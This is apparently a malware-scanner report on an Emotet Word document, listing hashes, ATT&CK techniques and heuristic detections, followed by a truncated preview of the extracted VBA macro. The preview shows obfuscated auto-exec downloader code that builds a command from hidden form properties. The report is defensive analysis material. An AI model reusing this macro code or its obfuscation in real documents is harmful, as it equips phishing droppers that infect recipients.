Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 98d01ef68e46aed2…

MALICIOUS

Office (OLE)

80.8 KB Created: 2019-12-17 22:16:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 6dc8a234c5d21c13959c66dfd5c36320 SHA-1: e5053771bbc67d133d5ad8f16f015699e07757c1 SHA-256: 98d01ef68e46aed2dabe74d19e255b8be9dc59d9e06ba7fe0bd29e18e3dd2ac1
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro designed to execute automatically. Heuristics indicate a command stager using CreateObject and obfuscated code, consistent with Emotet's behavior. ClamAV detection confirms this family. The macro likely downloads and executes a second-stage payload, a common Emotet tactic.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7461037-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7461037-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9724 bytes
SHA-256: 45d46240f8bd2ff8e579e7fe6646d6f69e4e8ba604fd187705d027868da43dbc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Ywooasabi"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Nfclzxdo, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   For Fievjrjsli = Ujwjhbdnqujk To Apavwppvsggbq
         Upmbkpgojcnbt = Ytbnrusqlc
         Rpcglyqvexikg = Qsjovdhh
Next
Select Case Dncczaygrpzgw
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Dyzfszktgmtc = Zbtfwpjz To Ihwodrjxk
         Haiztixvjjnli = Efxpievsxl
         Ppcwrrdsblgdh = Syuvnlrmd
Next
Select Case Cslilnplhfhm
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Vdvzxoxpzvyc = Refktrrsmwrt To Mdosryfnn
         Smclzufyagb = Ucdcqyidlr
         Hflnleqctafo = Clvczkteyov
Next
Select Case Pvnguaprpuloc
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Ubttoyhxiaa
End Sub

Attribute VB_Name = "Lodzxqele"
Attribute VB_Base = "0{259180D5-F120-48B3-84C9-1B0E0894E1A7}{1B817FF3-A86F-450E-9DC7-03A2226CA599}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Bmvbzirzdrybd"
Function Teyclcfghm()
   For Qkedfhem = Hciqwbgsjdgb To Edtyaemhlr
         Jyzcxbyqs = Pifxbhgwpsuzb
         Lefzrrpps = Ggfcbrlddqvh
Next
Select Case Fuloozyp
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Gskkfvpajwgg = Ywooasabi.Nfclzxdo
   For Bswumlomb = Jgdyjoqsbvyf To Xkqpxvhsrrqlt
         Nqybhsao = Diorjcmnwoaxx
         Orolhyuts = Aebfxwgsu
Next
Select Case Aiodyxiaptvt
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Kufsizmmxzrbx = Gskkfvpajwgg + Lodzxqele.Dvbxsqsdb + Lodzxqele.Rnbbufmfp + Lodzxqele.Ffuzfmfosyid
   For Ugncvauqqm = Ktllicpdwqdus To Ljfuemqszxmp
         Jdpvldxh = Vdhpdcsklgjh
         Kkubmnvmrcmn = Ghwdynybfaowe
Next
Select Case Rrbsylbjw
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Jiavtohdeeb = Kufsizmmxzrbx + Lodzxqele.Lmlwkazjdfkb + Lodzxqele.Heyzfectj
   For Thtyszkkjipdo = Eggdiecwwpk To Isuwxnkt
         Ywovnwvttqnpx = Avqkxjiiib
         Tfaewmkhgti = Bvraptuf
Next
Select Case Stiumqoguwico
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
   
... (truncated)

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